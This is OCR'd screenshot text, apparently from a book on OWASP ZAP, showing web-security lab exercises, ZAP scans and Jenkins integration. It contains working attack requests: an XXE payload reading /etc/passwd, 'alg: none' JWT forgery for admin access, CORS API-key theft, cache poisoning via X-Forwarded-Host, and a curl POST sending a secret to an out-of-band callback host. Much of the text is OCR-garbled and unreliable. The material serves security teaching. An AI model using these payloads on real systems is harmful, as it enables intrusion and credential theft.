&redirect_uri:https:fjuuw.zapprnuy.orgpresponse_type=c0de&scDpe:Dpenid%28profi1&%2@email HTTP/1.1

Host: oauth-@ad4feediescbed28chR5172a024b8838 . web-security-academy.net

User-Agent: Mozilla/5.@ (Windows NT 18.8; Wing4; x64; rv:187.8) Gecko/20188181 Firefox/187.8

Accept: text/html,applications/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/¥;q=0.8

Accept-Language:
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document

en-USs,en;q=8.5

"GET /log HTTP/1.1" 208 "User-Agent: Mozilla/5.8 (Windows NT 18.8; Wi

67.78.4.230 2022-11-18 23:20:47 +0000
67.78.4.230 2822-11-18 23:20:47 +000@ "GET /resources/css/labsDark.css HTTP/1.1" 208 "User-Agent: Mozilla/t
67.78.4.230 2022-11-18 23:30:04 +0980 "GET /exploit/?code-| o e Sl e e AT Bl LE| HTTP,
67.78.4.238 2822-11-18 23:3@:11 +0808 "POST / HTTP/1.1" 382 "User-Agent: Mozilla/5.09 (Windows NT 18.8; Wint
- e Pl 2022-11-19 06:50:36 +0000 "GET fexploit HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Windows
e 1 2022-11-19 06:50:37 +0000 "GET /?code=FIBT inalaae gt g e L G AH T TP/
- R e el 2822-11-19 B86:50:38 +0080 "GET /resources/css/labsDark.css HTTP/1.1" 280 "User-Agent: M
- = 2022-11-19 06:51:07 +0000 "GET / HTTP/1.1" 2080 "User-Agent: Mozilla/5.0 (Windows NT 10.1
- m 2022-11-19 06:52:28 +0000 "GET /deliver-to-victim HTTP/1.1" 382 "User-Agent: Mozilla/5.€
10.9.3.35 2022-11-19 ©6:52:30 +8000 "GET /exploit/ HTTP/1.1" 208 "User-Agent: Mozilla/5.8 (Victim)
10.9.3.35 2022-11-19 06:52:30 +0000 "GET /?code—|ji aana el A e P M HTTP/1
10.8.3.35 20922-11-19 86:52:38 +80080 "GET /resources/css/labsDark.css HTTP/1.1" 288 "User-Agent: Mc
LR | 2922-11-19 ©6:52:31 +0000 "GET / HTTP/1.1" 2080 "User-Agent: Mozilla/5.@ (Windows NT 1@.€
| = = TR 20922-11-19 86:52:32 +6080 "GET

/resources/css/labsDark.css HTTP/1.1" 288 "User-Agent: Mc

HTTP/1.1 z@8 QK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Connection: close

Content-Length: 149

i
"username": "wiener",
"email™: ",
"apikey™: "XmedDwYpPsViZJluGaYpvXipXtyNu2lag",

=T

ions": [
"aZzAashi75oGNZ PAMUwwXapCHeWabz nh™



Request Response

Method v || Header Text || Body Text viED @e@@O0 G E=Em e

GET https://@22a@880837dcebec@@s8Fo008FBAETA . web-security-academy.net/accountDetails HTTP/1.1
Host: @aaa@este37dcebecB@S8FS008F888+4 . web-security-academy.net

User-Agent: Mozilla/s5.8 (Windows NT 18.8; Wingd; x64; rv:186.8) Gecko/28188181 Firefox/186.8
Accept: */#*

Accept-Language: en-Us,en;q=08.5

Referer: https://Paza@Bdoe37dcebec@@ssfoeearagard. web-security-academy.net/my-account

DNT: 1

Connection: keep-aliwve

Cookie: session=aZzAashi75oGNIP4MUwwXapCHEWEbznN

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-5ite: same-arigin

Prigin: https://zaprules.com

Request Response

Header Text | Body Text v (=]

HTTP/1.1 2&8 OK

Access-Control-Allow-Credentials: true
Content-Type: applications/json; charset=utf-8
Connection: close

Content-Length: 149

Web Securlty %gl)gc?i c\;a":llnerabll|ty with basic origin &
Academy 4|

Back to lab description »»

- = = B 2922-11-14 ©4:58:51 +00800 "GET /resources/css/labsDark.css HTTP/1.1" 288 "User-Age

| S S| 2022-11-14 ©4:59:25 +0000 "GET / HTTP/1.1" 208 "User-Agent: Mozilla/5.8 (Windows N
F = = G 2922-11-14 84:59:26 +0068 "GET /resources/css/labsDark.css HTTP/1.1" 288 "User-Age

| S M N 2922-11-14 94:59:32 +0080 "POST / HTTP/1.1" 382 "User-Agent: Mozilla/5.8 (Windows
- - 2022-11-14 ©4:59:32 +0000 "GET /exploit HTTP/1.1" 288 "User-Agent: Mozilla/5.@ (Wi
. = = 2922-11-14 ©4:59:33 +0000 "GET /Bad188e684cc9llacBfelbebf@e2B@18. web-security-acad
4 = i 2022-11-14 84:59:33 +0000 "GET /log’key=%22Resource®20not¥%26fTound%20-%20Academy¥20
| store Delver explot o vicim
2022-11-15 +8080 "GET /resources/css/labsDark.css HTTP/1.1" 288 "User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64;
2822-11-15 +8800 "POST / HTTP/1.1" 382 "User-Agent: Mozilla/5.6 (Windows NT 16.8; Win64; x64; rv:106.0) Gecko/281ee181
2922-11-15 +8808 "GET /deliver-to-victim HTTP/1.1" 382 "User-Agent: Mozilla/5.8 (Windows NT 18.8; Wing4; x64; rv:186.@
2822-11-15

+8080 "GET /exploit/ HTTPfi 1" 288 "User- Agent Moz1llaf5 e (V1ct1m) AppleWebKlt!SB? 36 (KHTHL 11ke Gecko)
2022-11-15 @ 8 +8e8e "G : na t22a 5 a €

2022-11-15 ©1:42:50 +0800@ "GET /resources/css/labsDark.css HTTP/1.1" 28@ "User- Agent H02111af5 @ (Victim) AppleWebKit/537.36 (I
2922-11-15 81:42:51 +0600 "GET / HTTP/1.1" 28@ "User-Agent: Mozilla/5.8 (Windows NT 1@.8; Win64; x64; rv:186.8) Gecko/281681e1 |
2922-11-15 81:42:51 +@880@ "GET /resources/css/labsDark.css HTTP/1.1" 280 "User-Agent: Mozilla/5.@ (Windows NT 1@.@; Win64; x64;
2022-11-15 81:43:12 +8680 "POST / HTTP/1.1" 382 "User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64; rv:186.8) Gecko/28186101



E History @k Search h'hﬁ.]erts || Output ﬂWebSnckets & B =

(&) Channel: — All Channels — v |2
Channel - Timestamp
811 = T 122, 21:19:36.187
12 = 11122, 21:19:36.19
24 1 = TM122, 21:25:51.2549
B4 2 = TIM122, 21:25:51.261
B4 3 = TM122, 21:25:56.297
Cpcode Bytes Payload
9=PING 4 =invalid UTF-g=
10=POMNG 4 =invalid UTF-8=

10=PONG 4 =invalid UTF-8=

r "1
1=TEXT 31 {user”™ou" "content™"&It,"}
1=TEXT 6 TYPING

@) 02e4009304eb9c68c03f14e3009F000b.web-security-academy.net

1

You: <
Hal Pline: | think | know your brother; he knows my name that's for sure.
You: TESTING

Hal Pline: Perhaps YOU could help ME settle an argument. Milk or water in first when making tea?

You:

Hal Pline: | thought you were out for the day, | was happy
CONNECTED: - Now chatting with Hal Pline —
DISCONNECTED: -- Chat has ended —

Your message:



Chapter 10: Advanced Attack Techniques

Request  Response

Method ~  Header: Text ~  Body: Text v | | (=] @ @e0OHG=EEme Send

POST https://0a9f00dc040704f8c0222313003b00c6.web-security-academy.net/product/stock HTTP/1.1
Host: 0a9f@0dc040704f8c0222313003b00c6.web-security-academy.net

Connection: keep-alive

Content-Length: 107

sec-ch-ua: "Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-platform: "mac0S"

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 (KHTML, like Gecko
) Chrome/107.0.0.@ Safari/537.36

Content-Type: application/xml

Accept: */%

Origin: https://0a9f@0dc040704f8c0222313003b00Oc6.web-security-academy.net

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://0a9fe0dce40704f8c0222313003b00c6.web-security-academy.net/product?productId=3
Accept-Language: en-US,en;q=0.9

Cookie: session=nQXCDN5nbpmLGcI3bEJ5LpauBg9054bM

<?7xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeld>1</storeld></stockCheck>

[ ] ® Manual Request Editor
Request  Response

Header: Text | Body: Text ~ | | [ ]| Send

HTTP/1.1 400 Bad Request

Content-Type: application/json; charset=utf-8
Connection: close

Content-Length: 2284

"Invalid product ID: root:x:0:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:ix:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin

A0 coea g £ Koy P ) niliuingik - F e

Eeter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
near*v+* 12000170004+ * fhnma /ucar: fhin/hach



start: 57 - =
Input end: 57 length: 53 + D E o

length: @ Lines:

{"kid":"13c1453a-86db-4ccd-bsaf-be6cSeaelf09"

N

x x start: 76 time: Oms {

® d: 76 length: 8o \

Output # s o W % BO@

eyJraWDiGiIxH2HxNDUzY584NmRiLTRjYthYjRhZiliZTZjNWVhZTFmHDkiLCJhchiDiJubZSlInB%
tart: 60 5

Input s :;d: 60 length: 60 £ D E

length: @  tines: 1

{"iss":"portswigger"|"sub":"administrator" I"exp" 11670115998}

start: 80 time: 1ms

Output ‘,: end: 80 length: 8@ a I_D E

length: @ lines: 1

eyJpc3MiOiJwb3]0@c3dpZ2dlciIsInN1YiI6ImFkbWluaXNO@cmFOb3IilCI1leHALOjE2NZAXMTUSO0ThY



[5) ® Manual Request Editor
Request  Response

Method ~  Header: Text ~  Body: Text v | | (=] @ @O G E=E D e Send

GET https://0aad00f903214dd8c18f5a1400750025.web-security-academy.nef/admin HTTP/1.1
Host: 0aad400f903214dd8c18f5a1400750025.web-security-academy.net

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 18_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/107.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, image/apng,*/*
;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

sec-ch-ua: "Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"

sec-ch-ua-mobile: 7@

sec-ch-ua-platform: "mac0S"

Referer: https://0aad00f903214dd8c18f5a1400750025.web-security-academy.net/login

: en_ :0=0.9

Cookie: session=eylraWQi0iIxM2MxNDUzYS@4NmRiLTRjYzQtYjRhZiliZTZjNWVhZTFmMDkiLCIhbGci0iJub251In0=.
eyJpc3Mi0ilwb3J0c3dpZ2d1lciIsInN1YiI6ImFkbWluaXN@cmFOb3IiLCJI1eHAi0jE2NzAXMTUS0ThY.

Home | Admin panel | My account

Users

carlos - Delete
wiener - Delete

0:4:"Usep":2:

sebd ]}
e ® {5:8:"USErname";S:ﬁ:"wiener";S:S:"admin"-

Alphabet
A-Fa-z0 ..

URL Encode & 11

Encode all
special chars

time: ems
length: =2 r e ]
Output s b < RN La

TzoB0iIVc2VyIjoyOntz0jeb6InVzZXJuYW1lIjtz0jY6IndpZWS1lcil
7czol0idhZGlpbiI7Yjox036%30



sigation-header™
op-1in
e</ax<p>|</p
min*:>&dmin panel</a
-account ?id=wiener" =My
flogout™>L out</a><p |

a href="

ction

span
wref="/admin/delete?username=carlos":Delete

span

dmin/delete?username=wiener" D

Login

You have made too many incorrect login attempts. Please try again in 1 minute(s).

i} Fuzzer

Fuzz Locations Options Message Processors

Header: Text - || Body: Text [:] [:] Edit

POST
https://@aede82883848fadc@fefcob@@ad@acd . web-security-academy.net/my-acc
ount/change-password HTTP/1.1

Host: @a@4882803848fadc@fafcib@@a®@dcy . web-security-academy.net
User-Agent: Mozilla/5.@ (Windows NT 18.8; Wingd; x64; rv:187.8) Geckos
28188181 Firefox/167.8

Accept: text/html,application/xhtml+uxml,application/xml;q=08.9,image/avif
,image/webp,*/*;0=0.8

Accept-Language: en-US,en;q=8.5

Content-Type: application/x-www-form-urlencoded

Content-Length: B89

Origin:

https:// 024882083848 fadcefefcab@@ad@dc?. . web-security-academy.net
Connection: keep-aliwve

username=wienerscurrent-password=passwordinew-password-1l=zaaaaapp
new-password-2=passworq




Fuzz Locations Options Message Processors

=] @ Edit

Header: Text ~ | Body: Text -

POST
https://9al2eedbl376fa85c451249F8@59083b . web- security-academy.net/my-acc
ount/change-password HTTP/1.1

Host: 8al2@@4b8376FaB85c451249F8853883b. web-security-academy.net
User-Agent: Mozilla/5.8 (Windows NT 18.8; Wing4; x64; rv:187.8) Gecko/
28188181 Firefox/187.8

Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif

,image/webp,*/*;q=08.8 -
Accept-Language: en-US,en;q=8.5 Q ?
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

1 5t

Origin: Value:
https://8al2@@4bB376fa85c451249F¥8859883b . web- security-academy.net Payloads:
Connection: keep-alive EyURELEE
username=carlos current-password=- new-password-1=passwords | #
new- password-2=zaaapppp|
$ 12
3 13? Cuick Start = Request “+= Hesponse
Header Text | Body: Text v | | IE) [

HTTP/1.1 288 OK

Content-Type: text/html; charset=utf-38
Cache-Control: no-cache

Connection: close

Content-Length: 3633

</header»

Fuzz Locations:

L. = Value #of .

I Bod.. jord.. 100

Bod... 1

#of . B Add...
0 Remaove

Payloads...
B — |

| ' Modify Payload

Type: Strings

Multiling:

(€3]
4]
@

o

<header class="notification-header":

</header:>
<hl>My Account</hl>

Location: Body[§ Contents: | New passwords do not match

<p class=1is-warning:NeW passwords da not match

¢div id=account-content:

<p*Your username 1s: carlos</p>

<7 Current fuzzers: 0

T

& Export
p. Header Sire Resp. Body Highest Alert State Paylpads G
3,636 bytes i Reflected password, ...
3,636 bytes i+ Reflected pass, Mew ..
3,633 bytes i Reflected daniel, New...
3,636 bytes i Reflected 2000, New ...



GET https://8a88807283b9dF63c8ef7dd508a088b7T .web-security-academy.nety/ HTTP/1.1

Host: @aB8e87283bodfo3clar7ddaaaaeeeb? .web-security-academy.net

User-Agent: Mozilla/5.8 (Windows NT 18.8; Wingd; wxbd; rv:187.8) Gecko/20188181 Firefox,/187.8
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-Us,en;q=8.5

Connection: keep-alive

Referer: https://@a828087203b0dfe3cBe+7dd5a0a@eeb7 .web-security-academy.net/
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

sec-Fetch-Mode: navigate

Sec-Fetch-5ite: same-origin

Sec-Fetch-User: 2?1

GET https://8a886867283b0dfe3cBef7dd500a888b7 .web-security-academy.netf¥cb=1337 HTTP/1.1
Host: @ad8887283b9%dfe3ceaf7dd5e8adaab? .web-security-academy.net

User-Agent: Mozrilla/5.8 (Windows NT 18.8; Winad; w64; rv:187.8) Geckos/281881081 Firefow/187.8
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,image/webp,*/*;q=08.8
Accept-Language: en-US,en;q=8.5

Connection: keep-alive

Cookie: session=PTzZmRWrelpiCrEw2rhMhoQcGglRBpgY

X-Forwarded-Host: zaproxy.org

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-5ite: none

Sec-Fetch-User: 21

Content-Length: @

HTTP/1.1 288 QK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3@

¥X-Cache: hit
Connection: close
Content-Length: 18695

<IDOCTYPE htmlx>

<html>
<head>
¢1ink href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
¢link href=/resources/css/labsEcommerce.css rel=stylesheet>
{title>Web cache poisoning with an unkeyed header</title:
</ head>
<body>

<script type="text/javascript" src="ffzaprnxy.Drgfresnurcesfjsftracking.js")FIscript>
{script src="/resources/labReader/js/abHeader. js »</SCript>
<div id="academyLabHeader"»
¢section class='academylLabBanner'>
HTTP/1.1 288 Ok
Content-Type: text/html; charset=utf-&
Set-Cookie: session=sbpmtzeYmfTKabBAsR7ksQdPwE8KpSoNQ; Secure; HttpOnly; SameSite=None
Cache-Control: max-age=3@

Age: @
IX—CachE: miss I

“Connection: close
Content-Length: 18695




GET https:Hﬂatﬂ-%2B@3d59d63c4823da?%ﬁl-%45.web—secur‘ity—academy.nEl‘l‘l’P!l.l

Host: @ab4@@28@83059d@3cde?3da7@ardeeds . web-security-academy . net

User-Agent: Mozilla/5.@ (Windows NT 1@.8; Wingd; xb6d4; rv:187.8) Gecko,/28188181 Firefou/167.8
Accept: textshtml,application/xhtml+xml,application/xml;q=8.9,image/avif,image/webp,*/*;0=0.8
Accept-Language: en-U5,en;q=8.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-5ite: none
r-Fetrh-llsar: 21

-Forwarded-Host: exploit-8acle@s383d79d@ecd7 37401180881 b.exploit-server.net

Cookie: session=sbpmtze¥mfTKaBAsR7ksQdPw8@KpSoNQ
HTTR/1.1 288 0K

Content-Type: text/html; charset=utf-8
Cache-Control: max-age=38

Onne an: ose
Content-Length: 18743

<!DOCTYPE html>

<html>
<head>
<link href=/resources/labheader/css/academylabHeader.css rel=stylesheet>
¢link href=/resources/css/labsEcommerce.css rel=stylesheet>
<titler*Web cache poisoning with an unkeyed header</title>
</head>
< body >

<script type="text/Javascript" src=
"y exploit-@acl@@E3ie3d79dAecd7FIF74811888F 0. exploit-server.net/resources/ js/tracking. js" < /script>
<script src="/resources/labheader/js/labHeader.js"*»</script>
TALV 1d- ocodemyLobHeader =

¢<section class='academylLabBanner'>

.web-security-academy.net



Chapter 11:

a Options
& ¥

Active Scan

Active Scan Input Vectors
AJRX Spider

Alerts

Anti-CSRF Tokens
API

Applications
Automation
Breakpoints

Bug Tracker
CallHome

Check For Updates
Client Certificate
Connection

Custom Payloads
Database

Dizplay

Dynamic S5L Cerificates
Encode/Decode
Extensions

Forced Browse
Form Handler
Fuzzer

Global Alert Filters
Global Exclude URL
GraphQlL

HTTF Sessions

Resetto Factory Defaults
@ sites ==

@ LB =
= Contexts
[#] Default Context

@ sites

go| M https:iidemo.saleorio

B History S Search [ Alerts #

@ee /7 ¢
[ Mlerts (14)
P Pl Disclosure
U Absence of Anti-CSRF Tokens (4)
9 Application Error Disclosure (2)

U Content Security Policy (CSP) Header Mot Set (13)

9 Cross-Domain Misconfiguration (45)
» ™ Hidden File Found
8 X-Frame-Options Setting Malformed

AP

Enabled

[/] web Ul Enabled
Secure Only

APl Key:

Addresses permitted to use the API

Enabled Regex

RNRRE

Remove Without Confirmation

Advanced Adventures with ZAP

ShE6pneifds052gn7a1iTte33y

Generate Random Key

Address ®B Add...
0:0:0:0:0:0:01 Modify...
127.0.01 Remove
localhost
zap Enable Al

Disable All

* The following options should only be used for testing as they may make it easier to attack ZAP

Disable the API key

Do not require an AP key for safe operations

Report permission errors via APl
Report error details via API
Autofill APl key in the API UI
Enable JSONP

s

& Quick Start = Request

{
>
Header: Text | Body: JSON b
HTTP/1.1 388 Permanent Redirect

4= Response

= @

Cancel DK

£ Requester ==

Cache-Control: public, max-age=@, must-revalidate

Connection: keep-alive
Content-Type: application/json
Date: Tue, 28 Dec 2822 84:84:29 GMT
Location: /graphgl/BitKeeper/
Refresh: Bjurl=/graphgl/BitKeeper/
server: Vercel

Strict-Transport-Security: max-age=63872868

i-Vercel-Cache: MISS

¥-Vearral-Td: fadl::aunsf-1R71SRGARORAR-A1F22-ASRATA

1

: "/graphgql/BitKeeper/",

: "3es”

| Qutput 38 Spider A Active Scan o
Hidden File Found
URL: hitps:/idemo.saleor.io/graphql/Bitkeeper
Risk: o Medium
Confidence: Low
Parameter.
Aftack:
Evidence: HTTPA.1 308 Permanent Redirect
CWE ID: 538
WASCID: 13 %

Source: Active (40035 - Hidden File Finder)

i Server Leaks Information via "¥-Powered-By" HTTP Response
P Information Disclosure - Sensitive Information in URL (4)

Input Vector:

Alerts 1 U6 U1 MG  Main Proxy: 127.0.0.1:9115

Description:

CurrentScans 40 &0 @1 21 @0 S0 o o @0




PS C:\Users\ > docker run owasp/zap2docker-stable zap-api-scan.py https://demo.owas
p—juice.shop/openapi. json openapi
2022-12-19 02:27:42,695 Number of Imported URLs: 2
Total of 78 URLs
Directory Browsing [8]
: Vulnerable JS Library (Powered by Retire.js) [10083]
: In Tmge Banner Information Leak [10009]
Cobwile No HttpOnly Flag [18616]
Cookie Without Secure Flag [18811]
Re-examine Cache-control Directives [18015]
: Content-Type Header Missing [10819]
: Anti-clickjacking Header [160208]
X-Content-Type-Options Header Missing [18821]
Information Disclosure — Debug Error Messages [18823]
Information Disclosure - Sensitive Information in URL [1e824]
Information Disclosure - Sensitive Information in HTTP Referrer Header [10025]
HTTP Parameter Override [10826]
Information Disclosure — Suspicious Comments [18827]
Open Redirect [18828]
Cookie Poisoning [10029]
User Controllable Charset [18038]
User Controllable HTML Element Attribute (Potential XSS) [18031]

WARN-MEW: Unexpected Content-Type was returned [180801] x 55
https://demo.owasp-juice.shop/openapi.json (200 OK)
https://demo.owasp-juice.shop/1469782972054727077 (200 OK)
https://demo.owasp-juice.shop/905479624231677775 (200 OK)
https://demo.owasp-juice.shop/ (280 OK)
https://demo.owasp-juice.shop/latest/meta-data/ (ue4 Not Found)

WARN-NEW: Cross-Domain JavaScript Source File Inclusion [10017] x 2
https://demo.owasp-juice.shop/openapi.json (206 OK)
https://demo.owasp-juice.shop/openapi.json (200 OK)

WARN-MEW: Strict-Transport-Security Header Not Set [18835] x 1
https://demo.owasp-juice.shop/openapi.json (2088 OK)

WARN-NEW: Content Security Policy (CSP) Header Not Set [1e038] x 1
https://demo.owasp-juice.shop/openapi.json (208 OK)

WARN-NEW: Deprecated Feature Policy Header Set [18863] x 1
https://demo.owasp-juice.shop/openapi.json (206 OK)

WARN-NEW: Cross—Domain Misconfiguration [10098] x 1
https://demo.owasp-juice.shop/openapi.json (2088 OK)

FAIL-NEW: © FAIL-INPROG: ® WARN-NEW: 6 WARN-INPROG: @ 1INFO: ©® IGNORE: © PASS:




Dashboard All

Enter an item name

ke Freestyle project
[ I This is the central feature of Jenkins. Jenkins will build your project, combining any SCM with any build system, and this
something other than software build.

oF Pipeline
Orchestrates long-running activities that can span multiple build agents. Suitable for building pipelines (formerly knowr
organizing complex activities that do not easily fit in free-style job type.

Multi-configuration project

%

Suitable for projects that need a large number of different configurations, such as testing on multiple environments, pla

Folder

T

ntainer that stores nested items in it. Useful for grouping things together, Unlike view, which is just a filter,
Tespace, 50 you can have multiple things of the same name as long as they are in different folders,

Dashboard zap Configuration

wennuon

Configure Pipeline script

Seript 7

@ General

1~ pipeline |{ ~

2 agent any
ég Advanced Project Options 3 stages {
a4~ stage( 'Get
£ steps {
& sh
7
&
a

ﬁ-u Pipeline

T stage(’
1@ steps
11 echo "

Use Groovy Sandbox  ?

Pipeline Syntax



Dashboard zap

B swus Pipeline zap

&[> Changes
f Add description

|> Build with Parameters
Disable Project

@ Configure

Stage View
@ Delete Fipeline
Q Full Stage View Setting up a s "
Get Write OWASP ZAP N I_"'t_ R"” b
y Rename Access docker D emove
container Scan Container
@ Pipeline Syntax
Average stage times: 312ms 396ms 52s 4s
{Average full run time: ~2min 50s) ' ! S i
> Build History trend ~
Dec24 Ho = [ o
a 7 | crangs 310ms 556ms 2min 36s 12s
(Sl Dec 24,2022, 0:40PM
® #10 Dec 24,2022, 9:43PM Dec24 L_h:::y 305ms 309ms 23ms 24ms
- 21:48 e
() #9 Dec 24,2022, 9:45PM failed failed| failed
@ Configure
Stage View
@i Delete Pipeline
Q Full Stage View Setting up " . »
un op a
Get Write OWASP ZAP Ao . P
ication emove
f Rename Access docker B .
container Scan Container
@ Pipeline Syntax
Average stage times: 268ms 438ms 39s 3s
(Average full run time: ~2min 50s) ! "S- -
> Build History trend v
Dec24 No
Q 7 o | O 00ms
) #13 Dec 24 2022, 10:24 PM
— [ e L -
“ o r 10

Dashboard > zap > #2

B sews ® Console Output

<[> Changes
] console utput Started by user sosps
[Pipeline] Start of Pipeline
% View as plain text [Pipeline] node
Running on Jenkins in /var/lib/jenkins/workspace/zap
[ Edit Buid Information [Pipeline] {
[Pipeline] stage
@ Delete build #2' [Pipeline] { (Get Write Access)
[Pipeline] sh
@ Restart from Stage e
+ chmod 777 fvar/1ib/jenkins fworkspace/zap
b Replay [Pipeline] }

[Pipeline] // stage
[Pipeline] stage

E Pipeline Steps

[Pipeline] { (Setting up OWASP ZAP docker container)
B9 Workspeces [Pipeline] echo
Starting container --» Start

€ Previous Build [Pipeline] sh

+ pwd

+ docker run --rm -v /var/lib/jenkins/workspace/zap:/zap/wrk/:rw --name owasp -dt owasp/zap2docker-live /bin/bash
9e7e69cefc22bcat@bad229catcfc@deedbebbfasT2bbbabs572bb3efofeesas

[Pipeline] }



Get Write
Access

312ms

Stage Logs (Run Application Scan)

PASS:

: Charset Mismatch [98611]
: Application Error Disclosure [98622]
: WSDL File Detection [9@@3@]

Loosely Scoped Cookie [99033]

Setting up

OWASP ZAP Rm
docker
Success
container
396ms

. )

T

ms 2min 36s

LN
Ln

Stop and
Remaove

Container

45

125

WARN-NEW: Cross-Domain JavaScript Source File Inclusion [18617] x 4
http://192.168.118.1:3088/ (200 OK)
http://192.168.118.1:3088/ (200 OK)
http://192.168.118.1:3808/sitemap.xml (2088 OK)

http://192.168.118.1:3808/sitemap.xml (2080 OK)

WARN-NEW: Missing Anti-clickjacking Header [1@e26] x 8

http://192.168.115.1: 3808/ socket

http://192.168.118.1:3008/socket.
http://192.168.118.1:3008/ socket .
http://192.168.118.1:3008/socket.
http://192.168.118.1:3000/s0cket.

.10/ ?EI0=4&transport=polling&t=0L71gLD&sid=-b0sn2iCfCq0-MkgAAAE (208
io/ ?EI0=4&transport=polling&t=0L71r528sid=rt5aPV4elsubvoRFAAAG (200
io/?EI0=48transport=polling@t=0L71tod&sid=0U4N-n-ULqj90BkIAAAT (200
io/?EI0=48transport=polling@t=0L7Ivu6isid=KBEVF_-BEVQOGvpgAALAK (200
io/ ?ETI0=4&transport=polling&t=0L71wII&sid=U4dNlBaTMMPABVORAAAM (208

WARN-NEW: X-Content-Type-Options Header Missing [10@21] x 12

http://192.168.118.1: 3888/ socket
http://192.168.118.1: 3000/ socket

-io/?EI0=48transport=pol1ing&t=0171qD6 (2886 OK)
.10/ ?EI0=48transport=polling&t=0L71gL08&sid=-b0sn2iCfCq0-MkgAAAE (208

Q Manage Add-ons

Installed Marketplace

ZAP Core

ZAP is up-to-date (2.12.0)
Add-ons

Filter: oas

Mame

Mame QAST Support
Status Beta
Yersion 0.13.0

Version Description

u to exploit out-of-

Description Allows you to exploit out-of-band vulnerabilities

Changes
Changed

Update &




WY Options X

- % E’S =

Form Handler

General BOAST Callback Interactsh

Fuzzer
Global Alert Filters Server URL hitps:lodiss.ew1337/events
Global Exclude URL Polling Frequency (in seconds): 60 |5
GraphQL
HTTF Sessions Register
HUD Active Servers
JVM Payload Canary
WT
Keyboard TauZxadmrém3zip3ladvwwim.odiss.eu B4t7 sijfkmongtySgegnguaniu
toysn74u7 34y7Enhlw2eGny7g.odiss.eu ngdmugzhpuxsydgwcdb4i7gi2
Language Cy ¥ q g gZnpuxsydd gi£q
Local Proxies
Metwork
Passive Scan Rules
Resetto Factory Defaults Cancel QK
PS C:\Users’ > curl ij6azkfsiavavsmrjgpm)3pq5l.odiss.eu
<html><body>gaqud5dléwerygmn3kbln73juu</body></html>
PS C:\Users\ =
@ Sites &= : & Quick Start = Request &= Response i+ Requester Y
[ e | Text ~| | B =
(= Contexts pET httll?:ffijﬁ?zkfsiavalusmljjqpmjqusd.ndiss.eu/ HTTP/1.1
5] Default Context zzzzétsziikfslavavsmrj gpmj3pg54.odiss.eu
@ Sites User-Agent: curl/7.83.1
= History S Search  [¥ Alerts Output % OAST # +
< Clear ik Poll Now @) BOAST: 23:28:04 @ Interactsh Qe
Id Req. Timestamp Method URL Handler Source Referer B
1 1211422, 11:09:57 PM DNS_A hitp:fijGazkfsiavavsmrjgpmj3pg54.odiss eu BOAST 172 253209.132:38
2 12M11/22, 11:09:58 P GET hitp:/ij6azkisiavavs mrjgpmj3pg54. odiss. eu/ BOAST 47 206.90.63:48873

POST http:/fsecret.ijsazkfsiavavsmrigpmi3pgS4.odiss.eus HTTPAL.1
Host: secret.ijfazkfsiavavsmrjgpmj3pgsd.odiss.eu

Accept: */*

Content-Length: 12

Content-Type: application/Jisaon

User-Agent: curl/7.83.1

{key: walue}



